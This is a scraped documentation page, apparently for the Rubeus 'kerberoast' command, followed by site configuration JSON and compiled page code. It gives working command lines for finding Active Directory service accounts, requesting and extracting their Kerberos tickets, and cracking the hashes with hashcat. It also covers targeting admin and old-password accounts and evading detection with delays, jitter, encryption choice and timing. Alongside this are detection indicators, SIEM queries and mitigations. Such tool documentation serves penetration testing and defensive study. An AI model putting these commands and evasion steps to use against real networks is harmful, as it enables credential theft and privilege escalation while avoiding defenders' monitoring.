Perform Kerberoasting attacks to extract service account credentials
Kerberoasting is one of the most effective post-compromise attacks for escalating privileges in Active Directory environments by targeting service accounts with weak passwords.
Overview
Kerberoasting attacks request service tickets for accounts with Service Principal Names (SPNs) and extract the ticket’s encrypted portion for offline password cracking. This technique exploits the fact that service tickets are encrypted with the target service account’s password hash.
Service Discovery
Identify accounts with Service Principal Names
Ticket Extraction
Request and extract encrypted service tickets
Offline Cracking
Crack extracted hashes with external tools
Attack Methodology
1
SPN Discovery
Identify service accounts in the domain with registered SPNs
2
Ticket Request
Request TGS tickets for target service accounts
3
Hash Extraction
Extract encrypted portion of service tickets
4
Offline Cracking
Use hashcat or John to crack the extracted hashes
5
Credential Validation
Test cracked credentials for access and privileges
Syntax Variations
Basic Usage
Advanced Targeting
OPSEC Mode
# Target all service accounts in domainRubeus.exe kerberoast
# Target specific SPNRubeus.exe kerberoast /spn:"MSSQLSvc/sql01.corp.local:1433"
# Target specific service accountRubeus.exe kerberoast /user:svc_sql
# Target admin service accountsRubeus.exe kerberoast /ldapfilter:"admincount=1"# Target specific OURubeus.exe kerberoast /ou:"OU=Service Accounts,DC=corp,DC=local"
# Target users from fileRubeus.exe kerberoast /users:C:\temp\service_accounts.txt# Target SPNs from fileRubeus.exe kerberoast /spns:C:\temp\target_spns.txt
# Use OPSEC featuresRubeus.exe kerberoast /opsec# Specific encryption and delaysRubeus.exe kerberoast /opsec /delay:5000 /jitter:30
# Save to file for processingRubeus.exe kerberoast /outfile:hashes.txt /format:hashcat# John the Ripper formatRubeus.exe kerberoast /format:john /outfile:john_hashes.txt
Failed requests: Services that couldn’t be accessed
[*] Action: Kerberoasting[*] Target SPN : MSSQLSvc/sql01.corp.local:1433[*] Searching path 'LDAP://DC=corp,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*))'[!] No users found to Kerberoast!
Common reasons for no results:
No service accounts with SPNs in target domain
Insufficient permissions to query LDAP
Target-specific filters too restrictive
Service accounts don’t allow TGS requests
[!] LDAP query failed!System.DirectoryServices.DirectoryServiceCOMException: The server is not operational.
Common error scenarios:
LDAP query failed: Domain controller unreachable
Access denied: Insufficient permissions for LDAP queries
No current user context: Need valid domain authentication
Discover service accounts and assess the target environment:
# Get statistics about service accountsRubeus.exe kerberoast /stats# Target administrative service accountsRubeus.exe kerberoast /ldapfilter:"admincount=1" /stats
2
OPSEC-Safe Extraction
Perform the actual kerberoasting with stealth considerations:
# OPSEC-safe kerberoasting with delaysRubeus.exe kerberoast /opsec /delay:5000 /jitter:30 /outfile:hashes.txt# Target specific high-value accountsRubeus.exe kerberoast /user:svc_sql /opsec /format:hashcat
# SQL Server service accountsRubeus.exe kerberoast /ldapfilter:"serviceprincipalname=MSSQLSvc*"# Exchange service accountsRubeus.exe kerberoast /ldapfilter:"serviceprincipalname=exchangeMDB*"# IIS/Web service accountsRubeus.exe kerberoast /ldapfilter:"serviceprincipalname=HTTP*"
Show Old Passwords
# Passwords not changed in 2+ years (likely weak)Rubeus.exe kerberoast /pwdsetbefore:"01/01/2022"# Service accounts with old passwordsRubeus.exe kerberoast /ldapfilter:"samaccountname=svc_*" /pwdsetbefore:"01/01/2023"
Show Recently Changed
# Recently changed passwords (may follow patterns)Rubeus.exe kerberoast /pwdsetafter:"01/01/2024"# Accounts changed in specific time windowRubeus.exe kerberoast /pwdsetafter:"06/01/2024" /pwdsetbefore:"08/01/2024"
Detection Risk: Kerberoasting generates TGS requests that can be monitored by security tools and may appear in domain controller logs.
Detection Vectors
Evasion Techniques
Defensive Countermeasures
Hide Domain Controller Logs
Event ID 4769 - Kerberos TGS Request:
High volume of TGS requests from single source
Requests for service accounts not typically accessed
RC4 encryption requests in AES-only environments
Requests for administrative service accounts
Show Network Monitoring
Unusual Kerberos traffic patterns
High frequency of TGS requests
Traffic to domain controllers from non-standard sources
LDAP queries for service principal names
Show Host-Based Detection
Processes making unusual Kerberos API calls
Memory access patterns consistent with ticket extraction
File creation in temp directories (hash output files)
Execution of password cracking tools
Hide Timing and Volume
# Implement delays between requestsRubeus.exe kerberoast /delay:10000 /jitter:50# Limit targeting to reduce noiseRubeus.exe kerberoast /user:specific_target /opsec# Spread operations over timeRubeus.exe kerberoast /resultlimit:5 /delay:30000
Show Request Patterns
# Use legitimate business hours# Schedule operations during 9-5 business hours# Mimic normal authentication patterns# Space requests to appear like normal service access# Target during high activity periods# Blend with legitimate authentication traffic
Show Technical Evasion
# Force AES encryption (less suspicious in modern environments)Rubeus.exe kerberoast /aes# Use specific domain controllersRubeus.exe kerberoast /dc:dc02.corp.local# Limit LDAP queriesRubeus.exe kerberoast /spn:"MSSQLSvc/sql01.corp.local:1433"
Show Detection Rules
SIEM Queries for Kerberoasting:
-- High volume TGS requestsSELECT * FROM eventsWHERE event_id = 4769GROUP BY source_ipHAVING COUNT(*) > 50WITHIN 1 HOUR-- RC4 requests for service accountsSELECT * FROM eventsWHERE event_id = 4769AND encryption_type = 'RC4'AND service_name LIKE 'svc_%'
Show Mitigation Strategies
Organizational Controls:
Strong password policies for service accounts
Regular password rotation schedules
Managed Service Accounts (MSAs) where possible
Least privilege access for service accounts
Technical Controls:
Enable AES encryption for Kerberos
Monitor TGS request patterns
Implement service account monitoring
Use Group Managed Service Accounts (gMSAs)
Troubleshooting
Show Common Issues
No Results
Access Denied
Cracking Issues
Problem: No kerberoastable users foundSolutions:
Verify LDAP connectivity to domain controllers
Check user permissions for LDAP queries
Confirm service accounts exist with SPNs
Try broader LDAP filters
# Test LDAP connectivityRubeus.exe kerberoast /stats# Try different targetingRubeus.exe kerberoast /ldapfilter:"serviceprincipalname=*"
Problem: Insufficient permissions for operationsSolutions:
Ensure valid domain authentication
Check if account has LDAP query permissions
Verify domain controller accessibility
Try different domain controllers
# Test with specific DCRubeus.exe kerberoast /dc:dc01.corp.local# Verify current authenticationRubeus.exe klist
Problem: Unable to crack extracted hashesSolutions:
Verify hash format compatibility
Try different wordlists and rules
Consider password complexity requirements
Use appropriate hashcat modes
# Verify hash formathead -n 1 hashes.txt# Try different attack modeshashcat -m 13100 hashes.txt --show # Show any already cracked
Integration with Other Tools
BloodHound Integration
Use BloodHound to identify high-value service accounts before kerberoasting
Hashcat/John
Process extracted hashes with dedicated password cracking tools
Impacket Integration
Use GetUserSPNs.py for alternative SPN enumeration and targeting
PowerView Integration
Combine with PowerView for enhanced Active Directory reconnaissance
Related Commands
asreproast
Alternative credential attack for accounts without pre-auth
asktgt
Use cracked credentials to request TGTs
s4u
Abuse service accounts with delegation rights
silver
Create silver tickets with compromised service accounts
{"docsConfig":{"theme":"mint","$schema":"https://mintlify.com/schema.json","name":"SpecterOps Open Source","colors":{"primary":"#2c2677","light":"#5465ff","dark":"#2c2677"},"logo":{"light":"https://mintcdn.com/specteropsdocs/k1yx6gbUDEwWUifq/logo/light.svg?fit=max\u0026auto=format\u0026n=k1yx6gbUDEwWUifq\u0026q=85\u0026s=c7134dc672345b82c85209dadeb0e8ba","dark":"https://mintcdn.com/specteropsdocs/k1yx6gbUDEwWUifq/logo/dark.svg?fit=max\u0026auto=format\u0026n=k1yx6gbUDEwWUifq\u0026q=85\u0026s=309680ef77c8d2d797a28dfe77531efb"},"favicon":"https://mintcdn.com/specteropsdocs/BBK0AWoMY3kd6fe3/favicon.png?fit=max\u0026auto=format\u0026n=BBK0AWoMY3kd6fe3\u0026q=85\u0026s=5678964ce347f372c752439aaa9d9b29","appearance":{"default":"dark"},"background":{"decoration":"gradient"},"navbar":{"links":[{"href":"https://github.com/SpecterOps","label":"Toolkit Hub"}],"primary":{"type":"button","label":"Contact Us","href":"https://specterops.io/contact/"}},"footer":{"socials":{"x":"https://x.com/specterops","website":"https://infosec.exchange/@SpecterOps","github":"https://github.com/SpecterOps","linkedin":"https://www.linkedin.com/company/specterops","slack":"https://slack.specterops.io/","instagram":"https://www.instagram.com/specterops.io","youtube":"https://www.youtube.com/channel/UCWMKKqCCQkUjU8dIyiL1yhQ"}},"integrations":{"plausible":{"domain":"docs.specterops.io"}},"styling":{"latex":false},"navigation":{"pages":[]}},"deployment":{"deploymentMetadataValue":{"subdomain":"specteropsdocs","hasAudioNarration":false,"actualSubdomain":"specteropsdocs","customDomains":["docs.specterops.io"],"gitSource":{"type":"github","owner":"specterops","repo":"specteropsdocs","deployBranch":"main","contentDirectory":"","isPrivate":true,"mountPath":"","label":"","_id":"6b10c7749ffae5051c407879"},"entitlements":{"AI_CHAT":{"status":"DISABLED"},"REMOVE_BRANDING":{"status":"DISABLED"},"CONTEXTUAL_FEEDBACK":{"status":"DISABLED"},"CODE_SNIPPET_FEEDBACK":{"status":"DISABLED"},"WEB_MCP":{"status":"DISABLED"},"NARRATION":{"status":"DISABLED"}},"buildId":"6ae942dc773fefe711103e1d:success","clientVersion":"0.0.4428","searchFilterCounts":[{"language":"default","tag":"Commands","count":306},{"language":"default","tag":"Documentation","count":287},{"language":"default","tag":"Overview","count":142},{"language":"default","tag":"Seatbelt","count":116},{"language":"default","tag":"Home","count":90},{"language":"default","tag":"Development","count":84},{"language":"default","tag":"Techniques","count":66},{"language":"default","tag":"Features","count":54},{"language":"default","tag":"Attack Techniques","count":39},{"language":"default","tag":"Defensive Techniques","count":33}]},"assistantConfig":{"enableAskAiButton":false,"enableStarterQuestions":false,"enableAskAiSearchBar":true},"basePath":"","hasChatPermissions":false,"hasWebMcpPermissions":false,"toggles":[{"name":"kill-isr","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"agent-mintlify-slack","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"agent-integrations-settings","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"rbac-expansion","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automations-pr-grouping","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"custom-prefix","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"analytics-v7","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"user-flows-analytics","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"no-publish-flow","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"snapshot-serving-live","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"stripTemperatureMiddleware","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"support-platform-pylon-zendesk","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"snapshot-serving","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"instant-rollback","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"granular-notifications-server","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"granular-notifications","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automations-fable","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"fixed-ai-action-pricing","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automation-resolve-merge-conflict","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"scoped-publishing","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"mintql","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"page-level-analytics","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-version-history-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"billing-page-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"full-page-search","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"workspace-projects","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"fork-pr-previews","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"revalidation-jwt","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"hobby-abuse-scan","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"dashboard-inbox","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"turbopuffer-dual-write","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"approve-review-flow","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-metadata","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"turbopuffer-serve","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"live-agents","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"starter-pricing","enabled":true,"variant":{"name":"treatment","enabled":true,"payload":{"type":"string","value":"treatment"},"feature_enabled":true},"impressionData":false},{"name":"llms-txt-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"auth-vite-origin","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false}],"starterQuestions":[],"googleFontsInlined":false},"customCss":[{"filePath":"nemesis-docs/docs/stylesheets/colors.css","content":"[data-md-color-scheme=\"nemesis-dark\"]{color-scheme:dark;--md-primary-fg-color: #262730;--mod-hue: 210;--md-default-fg-color: hsla(var(--md-hue), 15%, 90%, 0.82);--md-default-fg-color--light: hsla(var(--md-hue), 15%, 90%, 0.56);--md-default-fg-color--lighter: hsla(var(--md-hue), 15%, 90%, 0.32);--md-default-fg-color--lightest: hsla(var(--md-hue), 15%, 90%, 0.12);--md-default-bg-color: #0E1116;--md-default-bg-color--light: hsla(var(--md-hue), 15%, 14%, 0.54);--md-default-bg-color--lighter: hsla(var(--md-hue), 15%, 14%, 0.26);--md-default-bg-color--lightest: hsla(var(--md-hue), 15%, 14%, 0.07);--md-code-fg-color: hsla(var(--md-hue), 18%, 86%, 0.82);--md-code-bg-color: hsla(var(--md-hue), 15%, 18%, 1);--md-code-hl-number-color: #619a8c;--md-code-hl-special-color: var(--md-code-hl-number-color);--md-code-hl-function-color: #5382db;--md-code-hl-string-color: #61a242;--md-code-hl-operator-color: #965822;--md-code-hl-name-color: #e4e4e4;--md-code-hl-keyword-color: #4b74c6;--md-code-hl-punctuation-color: #808080;--md-code-hl-constant-color: hsla(250, 62%, 70%, 1);--md-code-hl-comment-color: rgb(98, 103, 119);--md-code-hl-variable-color: #ffffff;--md-code-hl-color: hsla(#{hex2hsl($clr-blue-a400)}, 1);--md-code-hl-color--light: hsla(#{hex2hsl($clr-blue-a400)}, 0.1);--md-code-hl-generic-color: var(--md-default-fg-color--light);--md-typeset-color: var(--md-default-fg-color);--md-typeset-a-color: #498AFB;--md-typeset-kbd-color: hsla(var(--md-hue), 15%, 90%, 0.12);--md-typeset-kbd-accent-color: hsla(var(--md-hue), 15%, 90%, 0.2);--md-typeset-kbd-border-color: hsla(var(--md-hue), 15%, 14%, 1);--md-typeset-mark-color: hsla(#{hex2hsl($clr-blue-a200)}, 0.3);--md-typeset-table-color: hsla(var(--md-hue), 15%, 95%, 0.12);--md-typeset-table-color--light: hsla(var(--md-hue), 15%, 95%, 0.035);--md-admonition-fg-color: var(--md-default-fg-color);--md-admonition-bg-color: var(--md-default-bg-color);--md-footer-bg-color: hsla(var(--md-hue), 15%, 10%, 0.87);--md-footer-bg-color--dark: hsla(var(--md-hue), 15%, 8%, 1);--md-shadow-z1:\n 0 #{px2rem(4px)} #{px2rem(10px)} hsla(0, 0%, 0%, 0.05),\n 0 0 #{px2rem(1px)} hsla(0, 0%, 0%, 0.1);--md-shadow-z2:\n 0 #{px2rem(4px)} #{px2rem(10px)} hsla(0, 0%, 0%, 0.25),\n 0 0 #{px2rem(1px)} hsla(0, 0%, 0%, 0.25);--md-shadow-z3:\n 0 #{px2rem(4px)} #{px2rem(10px)} hsla(0, 0%, 0%, 0.4),\n 0 0 #{px2rem(1px)} hsla(0, 0%, 0%, 0.35);img[src$=\"#only-light\"],\n img[src$=\"#gh-light-mode-only\"] {\n display: none;\n }}[data-md-color-scheme=\"nemesis-light\"]{color-scheme:light;--md-primary-fg-color: #262730;--md-hue: 225deg;--md-default-fg-color: hsla(0, 0%, 0%, 0.87);--md-default-fg-color--light: hsla(0, 0%, 0%, 0.54);--md-default-fg-color--lighter: hsla(0, 0%, 0%, 0.32);--md-default-fg-color--lightest: hsla(0, 0%, 0%, 0.07);--md-default-bg-color: hsla(0, 0%, 100%, 1);--md-default-bg-color--light: hsla(0, 0%, 100%, 0.7);--md-default-bg-color--lighter: hsla(0, 0%, 100%, 0.3);--md-default-bg-color--lightest: hsla(0, 0%, 100%, 0.12);--md-code-fg-color: hsla(200, 18%, 26%, 1);--md-code-bg-color: hsla(200, 0%, 96%, 1);--md-code-hl-color: hsla(#{hex2hsl($clr-blue-a200)}, 1);--md-code-hl-color--light: hsla(#{hex2hsl($clr-blue-a200)}, 0.1);--md-code-hl-number-color: hsla(0, 67%, 50%, 1);--md-code-hl-special-color: hsla(340, 83%, 47%, 1);--md-code-hl-function-color: hsla(291, 45%, 50%, 1);--md-code-hl-constant-color: hsla(250, 63%, 60%, 1);--md-code-hl-keyword-color: hsla(219, 54%, 51%, 1);--md-code-hl-string-color: hsla(150, 63%, 30%, 1);--md-code-hl-name-color: var(--md-code-fg-color);--md-code-hl-operator-color: var(--md-default-fg-color--light);--md-code-hl-punctuation-color: var(--md-default-fg-color--light);--md-code-hl-comment-color: var(--md-default-fg-color--light);--md-code-hl-generic-color: var(--md-default-fg-color--light);--md-code-hl-variable-color: var(--md-default-fg-color--light);--md-typeset-color: var(--md-default-fg-color);--md-typeset-a-color: #498AFB;--md-typeset-del-color: hsla(6, 90%, 60%, 0.15);--md-typeset-ins-color: hsla(150, 90%, 44%, 0.15);--md-typeset-kbd-color: hsla(0, 0%, 98%, 1);--md-typeset-kbd-accent-color: hsla(0, 100%, 100%, 1);--md-typeset-kbd-border-color: hsla(0, 0%, 72%, 1);--md-typeset-mark-color: hsla(#{hex2hsl($clr-yellow-a200)}, 0.5);--md-typeset-table-color: hsla(0, 0%, 0%, 0.12);--md-typeset-table-color--light: hsla(0, 0%, 0%, 0.035);--md-admonition-fg-color: var(--md-default-fg-color);--md-admonition-bg-color: var(--md-default-bg-color);--md-warning-fg-color: hsla(0, 0%, 0%, 0.87);--md-warning-bg-color: hsla(60, 100%, 80%, 1);--md-footer-fg-color: hsla(0, 0%, 100%, 1);--md-footer-fg-color--light: hsla(0, 0%, 100%, 0.7);--md-footer-fg-color--lighter: hsla(0, 0%, 100%, 0.45);--md-footer-bg-color: hsla(0, 0%, 0%, 0.87);--md-footer-bg-color--dark: hsla(0, 0%, 0%, 0.32);--md-shadow-z1:\n 0 #{px2rem(4px)} #{px2rem(10px)} hsla(0, 0%, 0%, 0.05),\n 0 0 #{px2rem(1px)} hsla(0, 0%, 0%, 0.1);--md-shadow-z2:\n 0 #{px2rem(4px)} #{px2rem(10px)} hsla(0, 0%, 0%, 0.1),\n 0 0 #{px2rem(1px)} hsla(0, 0%, 0%, 0.25);--md-shadow-z3:\n 0 #{px2rem(4px)} #{px2rem(10px)} hsla(0, 0%, 0%, 0.2),\n 0 0 #{px2rem(1px)} hsla(0, 0%, 0%, 0.35);img[src$=\"#only-dark\"],\n img[src$=\"#gh-light-mode-only\"] {\n display: none;\n }}"},{"filePath":"style.css","content":".card img{height:200px;object-fit:contain}.mermaid{display:flex;justify-content:center;text-align:center}"}]}
{"page":{"pagePath":"ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast","slug":"/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast","pageMetadata":{"title":"kerberoast","description":"Perform Kerberoasting attacks to extract service account credentials","icon":"fire","sidebarTitle":"kerberoast","href":"/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast","hidden":false},"description":{"compiledSource":"\"use strict\";\nconst {jsx: _jsx} = arguments[0];\nconst {useMDXComponents: _provideComponents} = arguments[0];\nfunction _createMdxContent(props) {\n const _components = {\n p: \"p\",\n ..._provideComponents(),\n ...props.components\n };\n return _jsx(_components.p, {\n children: \"Perform Kerberoasting attacks to extract service account credentials\"\n });\n}\nfunction MDXContent(props = {}) {\n const {wrapper: MDXLayout} = {\n ..._provideComponents(),\n ...props.components\n };\n return MDXLayout ? _jsx(MDXLayout, {\n ...props,\n children: _jsx(_createMdxContent, {\n ...props\n })\n }) : _createMdxContent(props);\n}\nreturn {\n default: MDXContent\n};\n","frontmatter":{},"scope":{}},"pageType":"default","mdx":{"mdxSource":{"compiledSource":"\"use strict\";const{Fragment:_Fragment,jsx:_jsx,jsxs:_jsxs}=arguments[0];const{useMDXComponents:_provideComponents}=arguments[0];function _createMdxContent(props){const _components={code:`code`,li:`li`,p:`p`,pre:`pre`,span:`span`,strong:`strong`,ul:`ul`,..._provideComponents(),...props.components},{Card,CardGroup,CodeBlock,CodeGroup,Expandable,Frame,Heading,Info,Note,OptimizedImage,ParamField,ResponseField,Step,Steps,Tab,Tabs,Tooltip,Warning}=_components;if(!Card)_missingMdxReference(`Card`,true);if(!CardGroup)_missingMdxReference(`CardGroup`,true);if(!CodeBlock)_missingMdxReference(`CodeBlock`,true);if(!CodeGroup)_missingMdxReference(`CodeGroup`,true);if(!Expandable)_missingMdxReference(`Expandable`,true);if(!Frame)_missingMdxReference(`Frame`,true);if(!Heading)_missingMdxReference(`Heading`,true);if(!Info)_missingMdxReference(`Info`,true);if(!Note)_missingMdxReference(`Note`,true);if(!OptimizedImage)_missingMdxReference(`OptimizedImage`,true);if(!ParamField)_missingMdxReference(`ParamField`,true);if(!ResponseField)_missingMdxReference(`ResponseField`,true);if(!Step)_missingMdxReference(`Step`,true);if(!Steps)_missingMdxReference(`Steps`,true);if(!Tab)_missingMdxReference(`Tab`,true);if(!Tabs)_missingMdxReference(`Tabs`,true);if(!Tooltip)_missingMdxReference(`Tooltip`,true);if(!Warning)_missingMdxReference(`Warning`,true);return _jsxs(_Fragment,{children:[_jsx(Info,{children:_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`Kerberoasting`}),` is one of the most effective post-compromise attacks for escalating privileges in Active Directory environments by targeting service accounts with weak passwords.`]})}),`\n`,_jsx(Heading,{level:`2`,id:`overview`,children:`Overview`}),`\n`,_jsx(_components.p,{children:`Kerberoasting attacks request service tickets for accounts with Service Principal Names (SPNs) and extract the ticket’s encrypted portion for offline password cracking. This technique exploits the fact that service tickets are encrypted with the target service account’s password hash.`}),`\n`,_jsxs(CardGroup,{cols:3,children:[_jsx(Card,{title:`Service Discovery`,icon:`radar`,children:_jsx(_components.p,{children:`Identify accounts with Service Principal Names`})}),_jsx(Card,{title:`Ticket Extraction`,icon:`download`,children:_jsx(_components.p,{children:`Request and extract encrypted service tickets`})}),_jsx(Card,{title:`Offline Cracking`,icon:`hammer`,children:_jsx(_components.p,{children:`Crack extracted hashes with external tools`})})]}),`\n`,_jsx(Frame,{children:_jsx(OptimizedImage,{src:`https://mintlify.s3.us-west-1.amazonaws.com/specteropsdocs/images/kerberoasting-flow.png`,alt:`Kerberoasting Attack Flow`,caption:`Complete Kerberoasting attack workflow from SPN discovery to credential cracking`})}),`\n`,_jsx(Heading,{level:`2`,id:`attack-methodology`,children:`Attack Methodology`}),`\n`,_jsxs(Steps,{children:[_jsx(Step,{title:`SPN Discovery`,children:_jsx(_components.p,{children:`Identify service accounts in the domain with registered SPNs`})}),_jsx(Step,{title:`Ticket Request`,children:_jsx(_components.p,{children:`Request TGS tickets for target service accounts`})}),_jsx(Step,{title:`Hash Extraction`,children:_jsx(_components.p,{children:`Extract encrypted portion of service tickets`})}),_jsx(Step,{title:`Offline Cracking`,children:_jsx(_components.p,{children:`Use hashcat or John to crack the extracted hashes`})}),_jsx(Step,{title:`Credential Validation`,children:_jsx(_components.p,{children:`Test cracked credentials for access and privileges`})})]}),`\n`,_jsx(Heading,{level:`2`,id:`syntax-variations`,children:`Syntax Variations`}),`\n`,_jsxs(Tabs,{children:[_jsx(Tab,{title:`Basic Usage`,id:`basic-usage`,children:_jsxs(CodeGroup,{children:[_jsx(CodeBlock,{filename:`All Service Accounts`,numberOfLines:`2`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Target all service accounts in domain`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`})]}),`\n`]})})}),_jsx(CodeBlock,{filename:`Specific Service`,numberOfLines:`2`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Target specific SPN`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /spn:\"MSSQLSvc/sql01.corp.local:1433\"`})]}),`\n`]})})}),_jsx(CodeBlock,{filename:`Specific User`,numberOfLines:`2`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Target specific service account`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:svc_sql`})]}),`\n`]})})})]})}),_jsx(Tab,{title:`Advanced Targeting`,id:`advanced-targeting`,children:_jsxs(CodeGroup,{children:[_jsx(CodeBlock,{filename:`LDAP Filtering`,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Target admin service accounts`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldapfilter:\"admincount=1\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Target specific OU`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ou:\"OU=Service Accounts,DC=corp,DC=local\"`})]}),`\n`]})})}),_jsx(CodeBlock,{filename:`Bulk Operations`,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default 